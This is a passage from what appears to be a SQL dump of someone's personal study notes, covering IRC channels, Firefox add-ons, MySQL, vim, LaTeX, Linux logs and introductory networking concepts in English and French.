#chan','#git-fr',NULL,NULL,'2015-01-14 20:27:58'),(301,'#irc #freenode #chan','#openobject for openerp',NULL,NULL,'2015-01-14 20:27:58'),(302,'#irc #freenode #chan','#openobject-fr for openerp',NULL,NULL,'2015-01-14 20:27:58'),(303,'#irc #freenode #chan','#python',NULL,NULL,'2015-01-14 20:27:58'),(304,'#irc #freenode #chan','#freenode',NULL,NULL,'2015-01-14 20:27:58'),(305,'#irc #freenode #chan','#vim',NULL,NULL,'2015-01-14 20:27:58'),(306,'#irc #freenode #chan','#hackcommunity.com',NULL,NULL,'2015-01-14 20:27:58'),(307,'#irc #freenode #chan','#python-fr',NULL,NULL,'2015-01-14 20:27:58'),(308,'#irc #freenode #chan','#vuc for#voip',NULL,NULL,'2015-01-14 20:27:58'),(309,'#irc #freenode #chan','#java',NULL,NULL,'2015-01-14 20:27:58'),(310,'#irc #freenode #chan','networking',NULL,NULL,'2015-01-14 20:27:58'),(311,'#irc #freenode #chan','bash',NULL,NULL,'2015-01-14 20:27:58'),(312,'#irc #freenode #chan','bottlepy',NULL,NULL,'2015-01-14 20:27:58'),(313,'#irc #freenode #chan','vim',NULL,NULL,'2015-01-14 20:27:58'),(314,'#irc #cmd #list_all#chan_in#server','/list',NULL,NULL,'2015-01-14 20:47:43'),(315,'#linux #logged #remote',NULL,NULL,'lastlog\n  that is how to see who were the last_connected to ur linux ','2015-01-14 20:52:37'),(316,'#irc #freenode #chan','nethack',NULL,NULL,'2015-01-14 21:16:32'),(317,'#irc #freenode #chan','oxford-geeks',NULL,NULL,'2015-01-14 21:16:32'),(318,'#irc #freenode #chan','asm',NULL,NULL,'2015-01-14 21:16:32'),(319,'#irc #freenode #chan','systemadmins',NULL,NULL,'2015-01-14 21:16:32'),(320,'#irc #freenode #chan','ubuntu',NULL,NULL,'2015-01-14 21:16:32'),(321,'#irc #server #epiknet','irc.epiknet.org',NULL,NULL,'2015-01-14 21:20:45'),(322,'#irc #epiknet #chan','debian',NULL,NULL,'2015-01-14 21:20:45'),(323,'#irc #epiknet #chan','linux',NULL,NULL,'2015-01-14 21:20:45'),(324,'#irc #epiknet #chan','musique',NULL,NULL,'2015-01-14 21:20:45'),(325,'#irc #epiknet #chan','programmation',NULL,NULL,'2015-01-14 21:20:45'),(326,'#irc #epiknet #chan','rencontres',NULL,NULL,'2015-01-14 21:20:45'),(327,'#irc #epiknet #chan','sciences',NULL,NULL,'2015-01-14 21:20:45'),(328,'#irc #epiknet #chan','sdz',NULL,NULL,'2015-01-14 21:20:45'),(329,'#irc #server #mibbit','irc.mibbit.net',NULL,NULL,'2015-01-14 21:20:45'),(330,'#irc #chan #mibbit','codingcafe',NULL,NULL,'2015-01-14 21:20:45'),(331,'#irc #server #undernet','us.undernet.org',NULL,NULL,'2015-01-14 21:20:45'),(332,'#irc #chan #undernet','40+stillrocking',NULL,NULL,'2015-01-14 21:20:45'),(333,'#web #shodan #info#gathering','Shodan is a search engine that can identify a specific device, such as computer, router, server, using a variety of filters,\n',NULL,NULL,'2015-01-14 21:49:30'),(334,'#juniper-family -intro','#juniper_family is used to build a data_center\nLes produits de Juniper sont composés des familles de routeurs :\n    T-series sont de gros routeurs de backbone (Tera Router).\n    M-series sont des rout',NULL,NULL,'2015-02-15 15:52:26'),(335,'tcp_ip7 to 1: please do not throw sausage pizza away',NULL,NULL,NULL,'2015-01-14 22:38:07'),(336,'tcp_ip1 to 7: all people seems to need data processing',NULL,NULL,NULL,'2015-01-14 22:38:07'),(337,'tcp_ipplease do not throw sausage pizza away',NULL,NULL,NULL,'2015-01-14 22:38:07'),(338,'#dwdm #tcpip #intro','bcz  Internet users growing rapidly, but the applications being used are becoming more advanced and therefore consume more bandwidth\nthen there is dwdm',NULL,NULL,'2015-01-14 22:44:41'),(339,'#backbone #intro','A backbone can tie together diverse networks in the same building, in different buildings in a campus environment, or over wide areas.\nit was a T1 line that connected 170 smaller networks together and operated at 1.544 Mbps\nIBM, MCI and Merit worked with NSF to create the backbone and developed a T3 (45 Mbps) backbone\n\nBackbones are typically fiber optic trunk lines. The trunk line has multiple fiber optic cables combined together to increase the capacity. Fiber optic cables are designated OC for optical carrier, such as OC-3, OC-12 or OC-48. An OC-3 line is capable of transmitting 155 Mbps while an OC-48 can transmit 2,488 Mbps (2.488 Gbps)\nToday there are many companies that operate their own high-capacity backbones, and all of them interconnect at various NAPs around the world.\n',NULL,NULL,'2015-01-20 03:59:56'),(340,'#cluster #intro','set of connected computers that work together so that they can be viewed as a single system',NULL,NULL,'2015-01-14 22:55:26'),(341,'#ff #firefox #addons #ads #AdblockEdge','addon_name:  Adblock Edge\nfork of the Adblock Plus version\nprovide the same features as Adblock Plus 2.X \n  created by Wladimir Palant',NULL,NULL,'2015-01-15 05:57:37'),(342,'#youtube #yt #ff #firefox #addons #ads #flash#dl','addon_name:  Flash and Video Download\nDownload Flash and videos with a single click',NULL,NULL,'2015-01-15 05:56:30'),(343,'#ip #ff #firefox #addons #ip#domain #info#gathering #reconnaissance','addon_name:  IP Address and Domain Information\nThe Ultimate online investigation tool! See detailed information about every IP Address, Domain Name and Provider.\n************\nIf You use the NoScript Add-on or other JavaScript blocking add-on, please add www.tcpiputils.com to the Whitelist. If you don\'t see the icon you can use the hotkey CTRL-SHIFT-I to show the popup.***************\nThis extension displays detailed information about the current website. The information can be used for online investigation and SEO purposes.',NULL,NULL,'2015-01-15 06:02:48'),(344,'#ip #ff #firefox #addons #proxy #geo#location','addon_name: Proxy Finder (IP Switcher)\nChange your Geo-location with one click\na Firefox extension which automatically switches an Internet connection across one or more proxy servers. Put simply, Proxy Finder automates the manual process of editing Firefox\'s Proxy Settings dialog. Proxy server switching occurs based on the Manual or Automatic mode you define.\nIn the manual mode (default) you need to choose a protocol (http, https, socks4, or socks5) and enter a desired IP and Port, then press ON/OFF button to start the proxy. For the automatic mode, the extension uses its online server to search for a working proxy based on the protocol(s) and origin you have chosen.\n\nMoreover, animated icons show you when a proxy is in use. Advanced logging shows you which proxies were used. If you have any question or concern, feel free to contact me via the following address: philip[dot]tholus[at]gmail.com\n last_updated: 15/01/2015',NULL,NULL,'2015-01-15 06:09:23'),(345,'#ip #ff #firefox #addons #vimperator','addon_name: vimperator\nVimperator adds an efficient, Vim-inspired user interface on top of Firefox\n    last_updated: 14/01/2015',NULL,NULL,'2015-01-15 06:11:41'),(346,'#mysql #change#prompt',NULL,NULL,'\nusing my.cnf\n	vi ~/.my.cnf\n		[mysql]\n		prompt=\\u@\\h [\\d]>\\_\n\nfrom mysql\n	mysql> prompt u@h [d]>\n\nfrom bash\n	export MYSQL_PS1=\"u@h [d]> \"\n\ngeneric variables:\n==============================================================\n\\ displays single quote\n\\v displays server version\n\\p displays port\n\\n displays newline\n\\d displays default database\n\\u displays username\n\\U displays username@hostname accountname\n\nfor more information:\n	http://www.thegeekstuff.com/2010/02/mysql_ps1-6-examples-to-make-your-mysql-prompt-like-angelina-jolie/\n','2015-01-15 06:58:07'),(347,'#mysql #comment#table #create#table',NULL,NULL,'create table table00(\n...\ncol00 text;\n...\n) comment \'this is the comment for this table\'\n','2015-01-15 09:15:02'),(348,'#mysql #comment#column #alter#table',NULL,NULL,'\nalter table table00 comment \'this is the new comment\';\n','2015-01-15 09:15:02'),(349,'#mysql only#field#name of#db00',NULL,NULL,'select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=\'db00\';','2015-01-16 09:18:54'),(350,'#mysql only#field#type#name of#db00',NULL,NULL,'select COLUMN_NAME,COLUMN_TYPE from information_schema.COLUMNS where TABLE_NAME=\'db00\';','2015-01-16 09:20:07'),(351,'#mysql #manage #db','db(information_schema) is a db which has all information about the db in the server\n  information_schema.columns contains information about columns, etc....... ',NULL,NULL,'2015-01-16 09:28:20'),(352,'#mysql #variable #select',NULL,NULL,'\nselect count(*) into @var00 from table00 where col01=5;\nselect col00 into @var00 from table00 where col01=5;\n  but remember the value which will enter in var00 __must be the result of one col and one row query__\n','2015-01-17 10:38:22'),(353,'#mysql #unset #variable',NULL,NULL,'set @var00:=null;\n    there is nothing like unset @var00  OR  unset var00;unset var00','2015-02-19 20:39:25'),(355,'#mysql #if#statement #declare',NULL,NULL,'\nCREATE FUNCTION SimpleCompare(n INT, m INT)\n  RETURNS VARCHAR(20)\n\n  BEGIN\n    DECLARE s VARCHAR(20);\n	-- use declare then u will not need to do @s when u use it nex time\n\n    IF n > m THEN SET s = \'>\';\n    	-- IF n = m THEN SET s = \'>\';\n		-- don_t use @s bcz s is already declared\n    ELSEIF n = m THEN SET s = \'=\';\n    ELSE SET s = \'<\';\n    END IF;\n\n    SET s = CONCAT(n, \' \', s, \' \', m);\n\n    RETURN s;\n','2015-01-16 10:22:19'),(356,'#hydra #kali #tool #intro','free brute force password cracking tool. You can attack either single or multiple user accounts and try single passwords or a list of passwords. Hydra provides IPv6 support, a graphical user interface\n    ø  Hydra knows how to interact with a huge range of target services, including AFP, FTP, HTTP, IMAP, LDAP, MySQL, Oracle, POP3, RDP, RSH, SMB, SMTP, VNC, and VMware',NULL,NULL,'2015-01-17 05:15:37'),(357,'#ff #firefox #addon #search#engine','searchengine longman for dico',NULL,NULL,'2015-01-17 05:36:30'),(358,'#mysql #variable#out #procedure','\ndelimiter |\ncreate procedure proc00(in param00 int(3), out param01 varchar(10))\nbegin\nselect col00 into param01 from table00 where col01=param00;\nend\n|\n\nto call it:\n  call proc00(45, @var00);\n',NULL,NULL,'2015-01-17 09:58:51'),(359,'#mysql #coalesce #default#fct',NULL,NULL,'Returns the first non-NULL value in the list, or NULL if there are no non-NULL values\n    SELECT COALESCE(NULL,1);\n      ret: 1','2015-01-17 10:05:18'),(362,'#mysql #var #intro',NULL,NULL,'\nthere are many kinda variable, these are 2:\ndeclare var00\n  then when u need var00, u don_t need to add @ in front of var00\n  ex: declare var00\n  	select col00 into var00 where col01=5;\nif u didn_t declared var01\n  then use @ in front of var01\n  ex: select col00 into @var01 where col01=6;\n','2015-01-17 11:35:30'),(361,'#mysql #rename#procedure',NULL,NULL,'first, remember that u are the user root in mysql_db\nUPDATE mysql.proc\')\nSET name = \'<new_proc_name>\',\nspecific_name = \'<new_proc_name>\'\nWHERE db = \'<database>\' AND\n  name = \'<old_proc_name>\' ;\n','2015-01-17 10:20:10'),(363,'#mysql #drop#trigger',NULL,'drop trigger trigger00;',NULL,'2015-01-17 11:46:13'),(364,'#mysql #show#trigger',NULL,'show triggers ;',NULL,'2015-01-17 11:47:58'),(365,'#mysql #truncate #erase#all#data in_table00',NULL,NULL,'truncate table00','2015-01-17 12:04:47'),(366,'#mysql #show#trigger#definition',NULL,'show create trigger trigger00;',NULL,'2015-01-17 12:09:40'),(367,'#mysql #sub_query #select',NULL,NULL,'\nselect * from table00 where col00=(select max(col01) from table01)\ndon_t add a \";\" after the subquery,\ndo not do this next_one:\n	select * from table00 where col00=(select max(col01) from table01;);\n','2015-02-03 06:32:30'),(368,'#mysql to#hexadecimal #convert',NULL,NULL,'select hex(\'cat\');','2015-01-17 14:18:17'),(369,'#mysql from#hexadecimal #convert',NULL,NULL,'select 0x636174;','2015-01-17 14:18:48'),(370,'#mysql #group_by',NULL,NULL,'\nif we have this in table00:\n\n	col00	col01\n	=============\n	val1	val12\n	val0	val02\n	val1	val11\n	val1	val14\n	val0	val01\n	val2	val21\n	val0	val03\n	val5	val51\n	val1	val13\n\nand we want this next:\n	col00	col01\n	=============\n	val0	val01\n	val0	val02\n	val0	val03\n	val1	val11\n	val1	val12\n	val1	val13\n	val1	val14\n	val2	val21\n	val5	val51\n\nthen:\n	select col00, col01 from table00 group by col00;\n','2015-01-17 14:28:44'),(371,'mariadb','community-developed fork of the MySQL intended to remain free under the GNU GPL',NULL,NULL,'2015-01-17 14:38:07'),(372,'notable','remarkable, Worthy of attention or notice; ',NULL,NULL,'2015-01-17 14:39:10'),(373,'#vim #range #put',NULL,NULL,'\n:put =range(5, 17)\n	it will create sth like this:\n	5\n	6\n	7\n	8\n	...\n	17\n','2015-01-17 15:24:07'),(374,'#vim #for #range #put',NULL,NULL,'\n:for i in range(1,10) | put =\'192.168.0.\'.i | endfor\n	192.168.0.1\n	192.168.0.2\n	192.168.0.3\n	192.168.0.4\n	192.168.0.5\n	192.168.0.6\n	192.168.0.7\n	192.168.0.8\n	192.168.0.9\n	192.168.0.10\n\n','2015-01-17 15:37:58'),(377,'#vim #show#all#map',NULL,NULL,':map\n	displays the maps that work in normal, visual and select mode\n:map!\n	displays the maps that work in insert and command-line mode\n\n:nmap - Display normal mode maps\n:imap - Display insert mode maps\n:vmap - Display visual and select mode maps\n:smap - Display select mode maps\n:xmap - Display visual mode maps\n:cmap - Display command-line mode maps\n:omap - Display operator pending mode maps\n','2015-01-17 15:56:58'),(378,'#vim #analysing#result :map',NULL,NULL,'\n:nmap\nn  <C-W>*      * <C-W><C-S>*\nn  <C-W>#      * <C-W><C-S>#\nn  <F2>        * :lchdir %:p:h<CR>:pwd<CR>\n\nn  Normal mode map. Defined using \':nmap\' or \':nnoremap\'.\n\n','2015-01-17 16:06:08'),(376,'#vim -keymap -mapping-intro','\nKey mapping refers to creating a shortcut for repeating a sequence of keys or command\nex:\n	:map <F2> :echo \'Current time is \' . strftime(\'%c\')<CR>\n		then, when u hit <f2> sth like will appear where u have to enter cmd\n			Sat 17 Jan 2015 17:42:42 SAST		\n	but\n	:map! <F2> :echo \'Current time is \' . strftime(\'%c\')<CR>\n		will appear the result in the current_buffer\n    u can do sth like this next one\n    :map <C-w>d :echo \'potatoes\'\n        then u type <C-w> after that type \"d\" and ur potatoes will appear\n    :map <C-w>dl :echo \'potatoes\'\n        then u type <C-w> after that type \"d\" and ur potatoes will appear\n\n\n\nThe first step is to decide the sequence of keys that needs to be mapped.\n\nsecond step is instead of creating a map that works in all the modes, it is better to define the map that works only in selected modes.\n\nThe third step is to find an unused key sequence that can be used to invoke the map\n',NULL,'\nKey mapping refers to creating a shortcut for repeating a sequence of keys or command\nex:\n        :map <F2> :echo \'Current time is \' . strftime(\'%c\')<CR>\n                then, when u hit <f2> sth like will appear where u have to enter cmd\n                        Sat 17 Jan 2015 17:42:42 SAST\n        but\n        :map! <F2> :echo \'Current time is \' . strftime(\'%c\')<CR>\n                will appear the result in the current_buffer\n    u can do sth like this next one\n    :map <C-w>d :echo \'potatoes\'\n        then u type <C-w> after that type \"d\" and ur potatoes will appear\n    :map <C-w>dl :echo \'potatoes\'\n        then u type <C-w> after that type \"d\" after that type \"l\"\n		and ur potatoes will appear\n\n\n\nThe first step is to decide the sequence of keys that needs to be mapped.\n\nsecond step is instead of creating a map that works in all the modes, it is better to define the map that works only in selected modes.\n\nThe third step is to find an unused key sequence that can be used to invoke the map\n','2015-02-18 14:13:28'),(379,'#vim #redirection',NULL,NULL,'\nwhen u do some cmd in vim, the result can _span_ several pages, ie the result is too long\n  so u have to put the result inside a file\n	:redir! > vim_maps.txt\n	:map\n	:map!\n	:redir END\n','2015-01-18 04:00:52'),(380,'#vim #unmap',NULL,NULL,'\nonly one example\n\n	:unmap <F3>\n','2015-01-18 04:02:11'),(381,'#language #japanese #types','Three types of character sets\n    Hiragana,\n    Katakana \n    Kanji\n  are used in a mixed way. You need to know around 2,000 letters to read publications. It can take several years to learn them.',NULL,NULL,'2015-01-19 07:41:58'),(382,'#mysql #create #db #database',NULL,'make sure that u are in root of mysql\n  mysql> create database db00;',NULL,'2015-01-19 08:22:16'),(383,'application_reseau #definition #network','Une application est l\'utilisation (voire l\'exploitation) d\'une ressource pour en faire quelque chose de concret.',NULL,NULL,'2015-01-19 09:08:00'),(384,'#biggest#network in the#world','reseau internet\nreseau telecom',NULL,NULL,'2015-01-19 09:10:23'),(385,'#definition #network #www','ensembles des sites web presents sur internet',NULL,NULL,'2015-01-19 09:12:00'),(386,'#definition#internet #network','l\'ensemble des nœuds (connexions, câbles, etc.) entre les machines qui nous donnent accès au web\n  il y a bcp d_autre chose sur internet mais pas seulement du web',NULL,NULL,'2015-01-19 09:33:13'),(387,'#definition#reseau_internet #network','Le réseau Internet est le réseau permettant la communication entre différents ordinateurs connectés à Internet',NULL,NULL,'2015-01-19 09:14:37'),(388,'#network #introduction definition','\nUn réseau est un groupe de chose|entités en communication(qui parlent entre eux).\n	attention:	\n		il y a plusieurs entitees\n		il y a plusieurs facons de faire la communication\nle principe d_intermediaire est le _fondement_ des ppe du reseau\n\npour communiquer, les 2choses doivent parler la meme langue(protocole)\nOU\nl_intermediaire doit parler la meme langue(protocole) de chacun de ses interlocuteurs\n\n',NULL,NULL,'2015-01-19 09:19:18'),(389,'#network #tip #network','qui dit reseau, dit _assurer|faire_ la communication',NULL,NULL,'2015-01-19 09:23:28'),(390,'#network #definition #intro #internet','interconnected computers which all use tcp_ip to communicate\n  all web-servers which have sites __publicly accessible__ are a part of the internet\n  it is not only web service the service that internet can give, there are many\n  all materials which can access internet is a part of internet as well :/\nIn the real Internet, dozens of large Internet providers interconnect at NAPs in various cities,\nThe Internet is a collection of huge corporate networks that agree to all intercommunicate with each other at the NAPs. In this way, every computer on the Internet connects to every other\n',NULL,NULL,'2015-01-20 03:03:42'),(391,'#network #intro_ssl&http&https','HTTP, is the language or “protocol” spoken by all web browsers when they communicate with web servers.\nSecure Sockets Layer (SSL) is a protocol that provides secure communication.\nWhen two programs communicate with each other using HTTP via SSL,\n	it is referred to as “HTTPS”\n',NULL,NULL,'2015-01-19 10:52:59'),(392,'#network #intro_dns_dynamic','\ncomputers are given a different IP address every time they connect to the Internet.\nThis practice allows Internet service providers (ISPs) to serve many customers using only a few IP addresses\nif users host a website in that isp, the isp needs dns_dynamic for updating automatically the relationship between their fixed website name and the changing IP address, so that their website is easy to find on the Internet.\n',NULL,NULL,'2015-01-19 11:09:53'),(393,'#network #cable#types #ethernet #croisee #droit #rj45 #rj11','\ncable ethernet: rj45 est l_interface\n	appellee aussi utp-cat5 ou utp-cat6\n		la cat6 supporte qlq gigabit par sec\n		la cat5 supporte 100megabits par sec\n	2types:\n		croisees, dit aussi cable batard:\n			ordi ordi\n		droit:\n			ordi a une autre appareil(pas ordi)\ncable telephonique = rj11 est l_interface\n',NULL,NULL,'2015-01-19 11:10:20'),(394,'#network #intro dns','a dns is a db\nit stores all of the domain names and corresponding IP address  for a specific top-level domain (TLD) ex_of_tld:.com .gov .org\nit is addressing a sys to internet\nWithin every top-level domain there is a huge list of second-level domains. For example, in the .COM first-level domain there is:\n    HowStuffWorks\n    Yahoo\n    Microsoft\nEvery name in the .COM top-level domain must be unique\nThe left-most word, like www, is the host name. It specifies the name of a specific machine in a domain with a specific IP\n',NULL,NULL,'2015-01-20 19:55:08'),(395,'#network #basic #intro#structure','\nthe must known about the structure of the internet are:\n	dns\n	network access pt\n	backbones\n\nevery computer connected to the internet are a part of the internet\ninternet is a network of network >.<\n\n',NULL,NULL,'2015-01-19 11:41:37'),(396,'#network #definition #pop','point of presence\n  Most large communications companies have their own dedicated backbones connecting various regions. In each region, the company has a Point of Presence (POP). The POP is a place for local users to access the company\'s network, often through a local phone number or dedicated line',NULL,NULL,'2015-01-19 11:45:08'),(397,'#vim #drawit','\nit is used to draw in vim with:\n	left - right - down - up\nhttp://www.vim.org/scripts/script.php?script_id=40\n\njust dl the \"DrawIt.vba.gz\" and go in the folder by terminal where u dldd it\nread it like this: \n	vi DrawIt.vba.gz \n	in vim do\n		:so %\n		sometimes it doesn_t work at first time then repeat again\n	and quit bcz it is already installed\n		:q	\n\nto start drawit:\n    \\di\nto stop drawit:\n    \\ds\n\nto draw a box \n    select a region\n    \\b\nto draw an ellipse\n    select a region\n    \\e\nto draw a line\n    select a region\n    \\l\n',NULL,NULL,'2015-02-27 03:16:22'),(398,'#network #introduction #backbone #pop #architecture','\nMost large communications companies have their own dedicated backbones connecting various regions.\nIn each region, the company has a Point of Presence (POP)\nThe POP is a place for local users to access the company\'s network\n\n\n                                                                                     \n                                                             +--------I S P--------+\n                                     +----I S P----+         |+-------------------+|\n  +---+      +---------+             |  +-------+  |         || +---------------+ ||<<<<<<<<<<<<<<<<<<<<<<<<<<<<< \n  +---+      |  home   +<-+--------->+  |  pop  |<<<<--+---->>>>+      nap      | ||            I N T E R N E T\n /___/       +---------+  |          |  +----^--+  |   |     || +---------------+ ||+++<<<<<<<<<<<<<<<<<<<<<<<<<<\n                          |          +-------^-----+   |     |+-------------------+| |\n                          |                  ^         |     +---------------------+ |\n          +---------------+---+              |         |   +-------+                 |\n          |conventional_phone |              |         +---+t3_line|                 |\n          |cable_modem_line   |              |             +-------+                 +---+   +---------------+ \n          |digital_subscriber |              |                                           |   | +-----------+ | \n          +-------------------+              |       +-------+                           +---+ + BACKBONE  | | \n                                             +-------|t1_line|                               | +-----------+ | \n                                             |       +-------+                               +---------------+ \n                                             |                                                                 \n                 +------------+              |\n                 |+----------+|              |\n                 ||   lan    ++<-------------+\n        +---+----++----------+|\n        |   |    +-------+----+\n      +-+   |       +----+---+\n  +---+     |     +-+        +--+\n  +---+     |     |          +--+\n /___/   +--+     +--+      /___/\n         +--+     +--+\n         \\___    \\___\n\n\n',NULL,NULL,'2015-01-20 22:07:48'),(399,'bsd #intro #unix','\nBSD ne sont pas des clones, mais des dérivés Open Source du système d\'exploitation UNIX® issus des laboratoires de recherche de AT&T, qui est lui-même un ancêtre de l\'actuel UNIX® System V\n',NULL,NULL,'2015-01-19 20:14:31'),(400,'#network #intro#nap','\nall of Company A\'s customers can talk to each other, and all of Company B\'s customers can talk to each other, but there is no way for Company A\'s customers and Company B\'s customers to intercommunicate. Therefore, Company A and Company B both agree to connect to NAPs in various cities, and traffic between the two companies flows between the networks at the NAPs.\n                            +-------------------+                          +-----------------------+\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |    compA_network  +<------------------------>+                       |\n                            |                   |        nap               | comp B_network        |\n                            |                   +<------------------------>+                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                            |                   |                          |                       |\n                           -+-------------------+                          +-----------------------+\n\nIn the real Internet, dozens of large Internet providers interconnect at NAPs in various cities,\nThe Internet is a collection of huge corporate networks that agree to all intercommunicate with each other at the NAPs\nAll of these networks rely on NAPs, backbones and routers to talk to each other.\nThe routers determine where to send information from one computer to another\nA router has two separate, but related, jobs:\n	It ensures that information doesn\'t go where it\'s not needed\n	It makes sure that information does make it to the intended destination\n\na router is extremely useful in dealing with two separate computer networks.\nIt also protects the networks from one another, preventing the traffic on one from unnecessarily _spilling_ over to the other.\n\n                                                            |  I  |\n                                                            |  N  |\n                                                            |  T  |\n                                                            v  E  v\n                +-----------+                               v  R  v                              +-------------+\n                |  pc_1     |                               v  N  v                              |   pc_1      |\n                |  pc_2     |                               v  E  v                  +-----------+   pc_2      |\n                |           +---------+               +-----v  T  v -----+           |           |             |\n                |           |         |               |  +--+-----+--+   |           |           |             |\n                |  netw_A   |       +-+-------+       |  |           |   |       +---+--+        |   netw_B    |\n                |           +<----->+ switch  +<------+->+   ROUTER  +<--+------>+switch+<------>+             |\n                |           |       +-+-------+       |  |           |   |       +----+-+        |             |\n                |   pc_200  +---------+               |  +-----------+   |            |          |   pc100     |\n                |   pc_300  |                         +------------------+            +----------|   pc250     |\n                +-----------+                                                                    +-------------+\n\n',NULL,NULL,'2015-01-20 03:47:42'),(401,'#latex #introduction','\nlatex et html possedent des similitudes mais latex est consacree pour les publications scientifiques.\n	avec un excellent rendu des équations et formules\nIl permet également de générer facilement sommaires, listes de figures et numéros d\'équation\nLes fichiers LaTeX peuvent ensuite être convertis en un grand nombre de formats différents comme par exemple PDF, PostScript, DVI, et HTML\n\nse prononce \"latec\" ou \"latheque\" mais surtout pas \"latex\"\n\nUn fichier LaTeX est un fichier contenant du _texte_ et des commandes de marquage. \nil est ensuite converti vers d\'autres formats grâce à un compilateur LaTeX.\n\ncertains utilisent __texmaker__ ou __kile__ pour faire du latex\ncertains utilisent les bon_editeurs du texte comme vim, emacs, gedit, .....\n',NULL,NULL,'2015-01-20 10:45:09'),(402,'#zip#explore',NULL,NULL,'this is how to #see explore inside of file00.zip\n    unzip -l file00.zip','2015-01-20 10:56:14'),(403,'#introduction #latex #dldd #documentation','\nwhen u dldd a file for help and tuto for latex:  http://www.howtotex.com/download/FiveMinuteGuideToLaTeX.zip\n	hope that link still work when u read this doc\n3subfolders are present:\n	docs\n		contains the main content and the preamble for the documentation\n	figs\n		where all figures are placed\n	refs\n		contains a file for the bibliography\n',NULL,NULL,'2015-01-20 11:01:57'),(404,'#tree #linux #intro','\ndisplays directory tree, in color\n',NULL,NULL,'2015-01-20 11:11:41'),(405,'#latex #intro #ifk','\nfirst thing u have to do with latex is to do the \"preamble\"\n	which mean to define the class of the document\n		ex: article, book, report, slides, letter\n	and to define some __optional__ arguments, \n		ex: font_size\n	example of preamble:\n		\\documentclass[10pt]{report}\n		% documentclass is a keyword\n		% {} is to define the class chosen\n		% [] is to define the font_size\n\nthen comes the \"environment\"\n	everything content should be done inside\n		\\begin{}\n		\\end{}\n		% {} contains the environment_name\n		% 	here are some environment:\n		% 		math, figures, tables, .........\n	__warning__:\n	everything inside the \\begin{} and \\end\n		will be printed\n	\nafter that the \"sectioning\"\n	A distinct part or subdivision of a writing is created with:\n		\\section{} , \\subsection{} , \\subsubsection{} , \\paragraph{}\n		, where {} contains the title.\n	The report and book classes require an additional \\chapter{} command\n\nin latex: {} will define many things\n	it is up to the section where u are in\n',NULL,NULL,'2015-01-20 11:36:28'),(406,'#latex #comment','\nthese are some examples for comments in latex:\n        % this is comment in latex which should be only one line\n\n        \\begin{comment}\n        here is a very long comment\n        \\end{comment}\n\n        \\/*\n        here is another long line of comment\n        potatoes\n        mangoes\n        */\n',NULL,NULL,'2015-01-20 11:47:52'),(407,'#vim -escaping -\\','\nto escape \\\n	ex: :%s/\\\\/\\\\\\\\/cg\nyes, that is right\n  that_s how to change all \\ to \\\\',NULL,NULL,'2015-02-16 18:39:11'),(408,'#zathura #conf #linux',NULL,NULL,'~/.zathurarcm/etc/zathurarc','2015-01-20 13:46:20'),(409,'#linux #log #some #general','\n/var/log/messages – Contains global system messages\n/var/log/dmesg\n	When the system boots up, it prints number of messages on the screen\n		These messages are available in _kernel ring buffer_\n	this file contains kernel ring buffer information.\n	whenever the new message comes the old message gets overwritten.\n	u can check the content of this file by doing:	dmesg\n/var/log/auth.log\n/var/log/boot.log\n/var/log/aptitude\n	log of cmd which installed sth in ur sys by aptitude_cmd\n/var/log/apt/history.log\n	when a cmd uses apt-get for installing a packet\n		the log will be in this file\n/var/log/apt/term.log\n	this is the _process_ of installation of packet\n/var/log/lastlog\n	Displays the recent login information for all the users.\n	but I don_t understand why mine doesn_t work, kali\n\n',NULL,NULL,'2015-01-20 19:53:08'),(410,'#network #intro dns','\nLet\'s say that you type the URL www.howstuffworks.com into your browser.\nThe browser contacts a _your(ifk)_ DNS server to get the IP address of www.howstuffworks.com . \nA DNS server would start its search for an IP address by contacting one of the __root_DNS_servers__.\n	The root servers know the IP addresses of servers which handle the top-level domains (.COM, .NET, .ORG, etc.)\n	The root says, I don\'t know the IP address for www.howstuffworks.com\n	but here\'s the IP address for the .COM DNS server.\n\n_Your_name_server_ then sends a query to the .COM DNS server asking it if it knows the IP address for www.howstuffworks.com.\nThe_DNS_server for the .COM domain knows the IP addresses for the name_servers_handling_the_www.howstuffworks.com \n	::::so it returns those to ur dns_server::::: :)\nand ur dns_server would return that to ur browser\nthen ur browser can get the web which u_were asking for\n\nOnce it has made a request to a root DNS server for any .COM domain,r\n  	ur dns_server knows the IP address for a DNS server handling the .COM\n	so it doesn\'t have to bug the root DNS servers again for that information\n	::that is called caching::\n\nDNS servers handle billions of requests every day, and they are essential to the internet_s smooth functioning\n',NULL,NULL,'2015-01-20 21:37:21'),(411,'#network #introduction #internet #server#client','\nAll of the machines on the Internet are either servers or clients\nmachine which provides services for other machine are called _server_\nmachines that are used to connect to those services are clients\nThere are Web servers, e-mail servers, FTP servers\n	and so on\n\nWhen you connect to www.howstuffworks.com to read a page, you are a user sitting at a client\'s machine\n	accessing the HowStuffWorks Web server. \n	A web server is a just a computer program that listens for requests from browsers and then execute them\nClients that come to a server machine do so with a specific intent,\n	so clients direct their requests to a specific software server running on the server machine.\n	For example, if you are running a Web browser on your machine,\n		it will want to talk to the Web server on the server machine, not the e-mail server\n\nA server has a static IP address that does not change very often. \nA home machine that is dialing up through a modem,\n	on the other hand, typically has an IP address assigned by the ISP every time you dial in.\n	it may be different the next time you dial in\n	That IP address is unique for your session\n',NULL,NULL,'2015-01-20 23:12:18'),(412,'payload #definition #general','The actual information or message in transmitted data, as opposed to automatically generated metadata',NULL,NULL,'2015-01-20 23:29:25'),(413,'#network #introduction #http','\nA web server is a just a computer program that listens for requests from browsers and then execute them. \nwhen u direct ur browser to a link, the link may direct to(html_page, zip_file, pdf, ....)\n	the browser will show the document with the program it was configured to\n	The browser will display HTML documents directly\n\nhttp is a protocol in the application_layer which is used to transfer data on the web\n                                                                                \nhttp is a request-response protocol\n	For example, a Web browser initiates a request to a server,\n	typically by opening a TCP/IP connection.\n\nThe request(from the client) itself contains:\n	a request_line\n		ex:	GET /index.php HTTP/1.1\n	a __set__ of request header\n	an entity\n\nthe response (from server) contains:\n	a status line\n	a set of response headers\n	an entity\n\nthe entity can be thought as the payload which may be a binary_data\n	but the other items are ascii_characters\n\nexample: client wants to connect to site00.com\n	browser sends:\n		GET / HTTP/1.1				-- request line\n			--	GET:	so the server is supposed to return an entity\n			--	/ :		an uri,	The / indicates the root of the document system on the server\n			--	HTTP/1.1	the prot and the version\n\n		Connection: Keep-Alive\n			-- this means that the client to keep the connection after the response of the server\n		User-Agent: Mozilla/5.0 